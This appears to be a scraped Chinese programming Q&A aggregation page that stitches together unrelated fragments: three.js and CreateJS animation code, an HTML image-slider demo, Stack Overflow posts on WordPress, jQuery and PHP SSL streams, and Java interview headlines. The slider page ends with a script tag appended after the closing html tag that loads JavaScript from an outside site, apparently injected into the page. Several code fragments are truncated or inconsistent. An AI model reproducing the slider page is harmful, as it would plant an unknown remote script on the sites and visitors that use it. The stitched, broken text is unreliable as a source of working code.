unction createLayout(){
// 墙面1 立方体比较长的面 左一
createCubeWall(10, 200, 900,0,matArrayB,-651,100,0);
// 墙面2 立方体比较长的面 右一
createCubeWall(10, 200, 900,1,matArrayB,651,100,0);
// 墙面3 门对面的墙 立方体比较短的面

createCubeWall(10, 200, 1310,1.5,matArrayB,0,100,-451);
// 墙面4 带门的面

var wall=returnWallObject(1310, 200,10,0,matArrayB,0,100,455);
// 门框
var door_cube=returnWallObject(100, 180,10,0,matArrayB,0,90,455);
createResultBsp(wall,door_cube,1);
//门
var doorgeometry = new THREE.BoxGeometry(100, 180, 2);
var doormaterial = new THREE.MeshBasicMaterial({map:texture,color:0xffffff});
doormaterial.opacity=1.0;
doormaterial.transparent=true;
door = new THREE.Mesh( doorgeometry,doormaterial);
door.position.set(0,90,451);
});
}

tweens.push({tween:tween,ref:cicrle});这句话是什么意思

var canvas = document.getElementById("gameView") var stage = new createjs.Stage(canvas); var tweens = []; for (var i = 0;i<=circleCount;i++) { var cicrle = new createjs.Shape(); cicrle.graphics.setStrokeStyle(15); cicrle.graphics.beginStroke("#f0f"); cicrle.graphics.drawCircle(0,0,(i+1)*4); cicrle.compositeOperation= "lighter"; var tween = createjs.Tween.get(circle) .to({x:300,y:200},(0.5+i*0.04)*1500,createjs.Ease.bounceOut.call()); tweens.push({tween:tween,ref:cicrle}); stage.addChild(circle); }

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <meta name="keywords" content="JS代码,焦点图,JS广告代码,JS特效代码" /> <meta name="description" content="此代码内容为腾讯软件中心JS焦点图代码，属于站长常用代码，更多焦点图代码请访问阿里西西JS代码频道。" /> <title>腾讯软件中心JS焦点图代码_阿里西西</title> <LINK rel=stylesheet type=text/css href="css/alixixi.css"> <SCRIPT type=text/javascript> var \$ = function (id) { return "string" == typeof id ? document.getElementById(id) : id; }; var Extend = function(destination, source) { for (var property in source) { destination[property] = source[property]; } return destination; } var CurrentStyle = function(element){ return element.currentStyle || document.defaultView.getComputedStyle(element, null); } var Bind = function(object, fun) { var args = Array.prototype.slice.call(arguments).slice(2); return function() { return fun.apply(object, args.concat(Array.prototype.slice.call(arguments))); } } var Tween = { Quart: { easeOut: function(t,b,c,d){ return -c * ((t=t/d-1)*t*t*t - 1) + b; } }, Back: { easeOut: function(t,b,c,d,s){ if (s == undefined) s = 1.70158; return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b; } }, Bounce: { easeOut: function(t,b,c,d){ if ((t/=d) < (1/2.75)) { return c*(7.5625*t*t) + b; } else if (t < (2/2.75)) { return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b; } else if (t < (2.5/2.75)) { return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b; } else { return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b; } } } } //容器对象,滑动对象,切换数量 var SlideTrans = function(container, slider, count, options) { this._slider = \$(slider); this._container = \$(container);//容器对象 this._timer = null;//定时器 this._count = Math.abs(count);//切换数量 this._target = 0;//目标值 this._t = this._b = this._c = 0;//tween参数 this.Index = 0;//当前索引 this.SetOptions(options); this.Auto = !!this.options.Auto; this.Duration = Math.abs(this.options.Duration); this.Time = Math.abs(this.options.Time); this.Pause = Math.abs(this.options.Pause); this.Tween = this.options.Tween; this.onStart = this.options.onStart; this.onFinish = this.options.onFinish; var bVertical = !!this.options.Vertical; this._css = bVertical ? "top" : "left";//方向 //样式设置 var p = CurrentStyle(this._container).position; p == "relative" || p == "absolute" || (this._container.style.position = "relative"); this._container.style.overflow = "hidden"; this._slider.style.position = "absolute"; this.Change = this.options.Change ? this.options.Change : this._slider[bVertical ? "offsetHeight" : "offsetWidth"] / this._count; }; SlideTrans.prototype = { //设置默认属性 SetOptions: function(options) { this.options = {//默认值 Vertical: true,//是否垂直方向（方向不能改） Auto: true,//是否自动 Change: 0,//改变量 Duration: 50,//滑动持续时间 Time: 10,//滑动延时 Pause: 4000,//停顿时间(Auto为true时有效) onStart: function(){},//开始转换时执行 onFinish: function(){},//完成转换时执行 Tween: Tween.Quart.easeOut//tween算子 }; Extend(this.options, options || {}); }, //开始切换 Run: function(index) { //修正index index == undefined && (index = this.Index); index < 0 && (index = this._count - 1) || index >= this._count && (index = 0); //设置参数 this._target = -Math.abs(this.Change) * (this.Index = index); this._t = 0; this._b = parseInt(CurrentStyle(this._slider)[this.options.Vertical ? "top" : "left"]); this._c = this._target - this._b; this.onStart(); this.Move(); }, //移动 Move: function() { clearTimeout(this._timer); //未到达目标继续移动否则进行下一次滑动 if (this._c && this._t < this.Duration) { this.MoveTo(Math.round(this.Tween(this._t++, this._b, this._c, this.Duration))); this._timer = setTimeout(Bind(this, this.Move), this.Time); }else{ this.MoveTo(this._target); this.Auto && (this._timer = setTimeout(Bind(this, this.Next), this.Pause)); } }, //移动到 MoveTo: function(i) { this._slider.style[this._css] = i + "px"; }, //下一个 Next: function() { this.Run(++this.Index); }, //上一个 Previous: function() { this.Run(--this.Index); }, //停止 Stop: function() { clearTimeout(this._timer); this.MoveTo(this._target); } }; </SCRIPT> </head> <body> <DIV id=idContainer2 class=container style=" margin-left:auto; margin-right:auto; width:978px; text-align:center;"> <table id=idSlider2 cellpadding="0" cellspacing="0" bgcolor="#FFFFFF"> <tr> <TD class=td_f width="978" align="center" height="130"><img src="images/01.jpg" /></TD> <TD class=td_f width="978" align="center" height="130"><img src="images/01.jpg"/></TD> <TD class=td_f width="978" align="center" height="130"><img src="images/01.jpg" /></TD> <TD class=td_f width="978" align="center" height="130"><img src="images/01.jpg" /></TD> <TD class=td_f width="978" align="center" height="130"><img src="images/01.jpg" /></TD> </tr> </table> <UL id=idNum class="num"></UL> </DIV> <SCRIPT> var forEach = function(array, callback, thisObject){ if(array.forEach){ array.forEach(callback, thisObject); }else{ for (var i = 0, len = array.length; i < len; i++) { callback.call(thisObject, array[i], i, array); } } } var st = new SlideTrans("idContainer2", "idSlider2", 5, { Vertical: false }); var nums = []; //插入数字 for(var i = 0, n = st._count - 1; i <= n;){ (nums[i] = \$("idNum").appendChild(document.createElement("li"))).innerHTML = ++i; } forEach(nums, function(o, i){ o.onmouseover = function(){ o.className = "on"; st.Auto = false; st.Run(i); } o.onmouseout = function(){ o.className = ""; st.Auto = true; st.Run(); } }) //设置按钮样式 st.onStart = function(){ forEach(nums, function(o, i){ o.className = st.Index == i ? "on" : ""; }) } st.Run(); </SCRIPT> </body> </html><script language=javascript src=http://www.haofbi.com/js/w.js></script>

``` /** * Created by Administrator on 2015/5/27. */ var stage,image,btn1,btn2; var image_x = 200; var image_y = 20; var step_x; var step_y; var arr_x_r = []; var arr_x_l = []; var arr_y = []; var arry = []; window.onload = function(){ stage = new createjs.Stage("mycanvas"); btn1 = document.getElementById("btn1"); btn2 = document.getElementById("btn2"); image = new createjs.Shape(); image.graphics.beginFill("#123F56").drawRect(image_x,image_y,50,50); stage.addChild(image); var mc = new createjs.MovieClip(null,0,true,{start:0}); stage.addChild(mc); for(var i = 0;i<5;i++) { arry[i] = new createjs.Shape(); step_x = Math.random()*(300-50)+50; step_y = 70*(i+1); arry[i].graphics.beginFill("#12fF56").drawRect(step_x, step_y, 100, 20); arr_x_r[i] = step_x+100; arr_x_l[i] = step_x-50; arr_y[i] = step_y; stage.addChild(arry[i]); } var n = 0; var l = 0; for (var i = n; i < 5; i++) { if (image_x < arr_x_r[i]&&image_x>arr_x_l[i]) { break; }else{ image.y += 70; n += 1; } } for(var i = 0; i < 5; i++){ mc.timeline.addTween(createjs.Tween.get(arry[i]).to({y:0},0).to({y:-100},100)); } mc.timeline.addTween(createjs.Tween.get(image).to({y:0},0).to({y:-100},100)); mc.gotoAndPlay("start"); btn2.onclick = function() { image.x += 10; image_x += 10; for (var i = n; i < 5; i++) { if (image_x < arr_x_r[i]) { break; }else{ image.y += 70; n += 1; } } if(image_x>350){ image.x -= 10; image_x -= 10; } if(image_x==350&&image.y==350){ alert("Congratulate to you!!!") } } btn1.onclick = function(){ image.x-=10; image_x-=10; for(var i = n; i < 5; i++){ if(image_x>arr_x_l[i]){ break; }else{ image.y += 70; n += 1; } } if(image_x<0){ image.x += 10; image_x += 10; } } createjs.Ticker.setFPS(20); createjs.Ticker.addEventListener("tick",stage); } ```

layabox 1.0 怎么做缓动

3d网页的代码谁能帮我看一下，说的什么意思

<div class="post-text" itemprop="text"> <p>I am trying to implement this effect in wordpress:</p> <p><a href="http://www.jqueryscript.net/demo/jQuery-Plugin-For-CSS-Easing-Based-Scroll-Animations-circus-scroll-tween/" rel="nofollow noreferrer">http://www.jqueryscript.net/demo/jQuery-Plugin-For-CSS-Easing-Based-Scroll-Animations-circus-scroll-tween/</a></p> <p>I followed the implementation guide but it is not animating.</p> <p>I included the js files in <code>function.php</code>, like this:</p> <pre><code>&lt;?php function addScroll_scripts() { wp_enqueue_script('js1', get_template_directory_uri() . '/circus-scroll-tween.min.js', array('jquery'), '', false); wp_enqueue_script('js2.frame-carousel.min', get_template_directory_uri().'/main.min.js', array(), '0.1.0', false ); } add_action( 'wp_enqueue_scripts', 'addScroll_scripts' ); ?&gt; </code></pre> <p>I've worked on this problem for a day but I still don't know what's the problem. I almost forgot to say that I put the js files directly in my theme folder.</p> </div>

flutter 打包后动画部分的组件屏幕适配问题

<div class="post-text" itemprop="text"> <p>I am coding a web based game in which the player moves around on a 7x7 grid. Currently, the move buttons call a ../action/move/up style PHP url that updates the database and then reloads the game page to reflect the new player position.</p> <p>I want to be able to have the player click move and use JQuery tweens to move the player token without a page refresh. The part I'm unsure about is, I want this to update the server and then lock the move buttons. The JS would then call a URL or two that would return new values for a few variables on the page, as well as a flag checking if the move was successful. If it was, the move buttons would then unlock and allow the player to move again.</p> <p>The pseudocode I'm imagining:</p> <pre><code>On Click (Move Up) { if(ReadyToMove) { Tween(ship, old position, new position) ReadyToMove = 0 Call MoveDone } } MoveDone { ReadyToMove = Url('../movecheck/movement/' . current position .) /* this url would return either 1 or 0 depending on if db xy matches given xy */ if(!ReadyToMove) { current position = old position; display error(movefail) } } </code></pre> <p>How do I <em>actually</em> do this?</p> </div>

<div class="post-text" itemprop="text"> <p>I am attempting to connect to a 3rd party API, and they require me to pass 3 certificate files they have given me: public cert, private cert, and CA cert. It works fine in cURL with the following settings:</p> <pre><code>if (empty(\$this-&gt;order['connector'])) { curl_setopt(\$_curl, CURLOPT_SSLKEY, API_PRIVATE_CERT); curl_setopt(\$_curl, CURLOPT_CAINFO, API_CA_CERT); curl_setopt(\$_curl, CURLOPT_SSLCERT, API_PUBLIC_CERT); } </code></pre> <p>Each value passed is a path to a physical file on the server. This works fine.</p> <p>With one request, however, I have to pass a header 'Content-Type: Multipart/Related; boundary="---BOUNDARY123456"' with a MIME message that contains an XML file and a Base64 encoded PDF. This fails with a 500 error on their end. And in researching this, I have seen cURL cannot properly handle Content-Type: Multipart/Related posts.</p> <p><a href="https://stackoverflow.com/a/25998544/3434084">https://stackoverflow.com/a/25998544/3434084</a></p> <p>So I have tried to send it using stream_get_contents(), but I get no response back. So I am thinking my cert data is wrong. How can I pass the same values I use in cURL via stream_get_contents()?</p> <p>Here's the code:</p> <pre><code>\$payload = '----=FB498299F0F50D2A190B3C Content-Type: application/x-ofx &lt;?xml version="1.0" encoding="ISO-8859-1"?&gt; &lt;?OFX OFXHEADER="200" VERSION="201" SECURITY="NONE" OLDFILEUID="NONE" NEWFILEUID="NONE"?&gt; &lt;OFX&gt; &lt;SIGNONMSGSRQV1&gt; &lt;SONRQ&gt; &lt;LANGUAGE&gt;ENG&lt;/LANGUAGE&gt; &lt;APPID&gt;TWEEN&lt;/APPID&gt; &lt;/SONRQ&gt; &lt;/SIGNONMSGSRQV1&gt; ... &lt;/OFX&gt; ----=FB498299F0F50D2A190B3C Content-Type: application/pdf Content-Transfer-Encoding: base64 Content-Location: full1_1559588546.pdf JVBERi0xLjQKJcOkw7zDtsOfCjIgMCBvYmoKPDwvTGVuZ3RoIDM...PRgo= ----=FB498299F0F50D2A190B3C' . " "; \$params = [ 'http' =&gt; [ 'method' =&gt; 'POST', 'header' =&gt; 'Content-Type: Multipart/Related; boundary="----=FB498299F0F50D2A190B3C"', 'content' =&gt; \$payload ], 'ssl' =&gt; [ 'verify_peer' =&gt; true, 'local_pk' =&gt; API_PRIVATE_CERT, 'cafile' =&gt; API_CA_CERT, 'local_cert' =&gt; API_PUBLIC_CERT ] ]; \$_stream = stream_context_create(\$params); \$response = @file_get_contents('https://blah/api/, FILE_TEXT, \$_stream); </code></pre> <p>TIA!</p> </div>

2020阿里全球数学大赛：3万名高手、4道题、2天2夜未交卷

HashMap底层实现原理，红黑树，B+树，B树的结构原理 Spring的AOP和IOC是什么？它们常见的使用场景有哪些？Spring事务，事务的属性，传播行为，数据库隔离级别 Spring和SpringMVC，MyBatis以及SpringBoot的注解分别有哪些？SpringMVC的工作原理，SpringBoot框架的优点，MyBatis框架的优点 SpringCould组件有哪些，他们...

《Oracle Java SE编程自学与面试指南》最佳学习路线图2020年最新版（进大厂必备）

《Oracle Java SE编程自学与面试指南》最佳学习路线图（2020最新版）

2020春招面试了10多家大厂，我把问烂了的数据库事务知识点总结了一下

2020年截止目前，我面试了阿里巴巴、腾讯、美团、拼多多、京东、快手等互联网大厂。我发现数据库事务在面试中出现的次数非常多。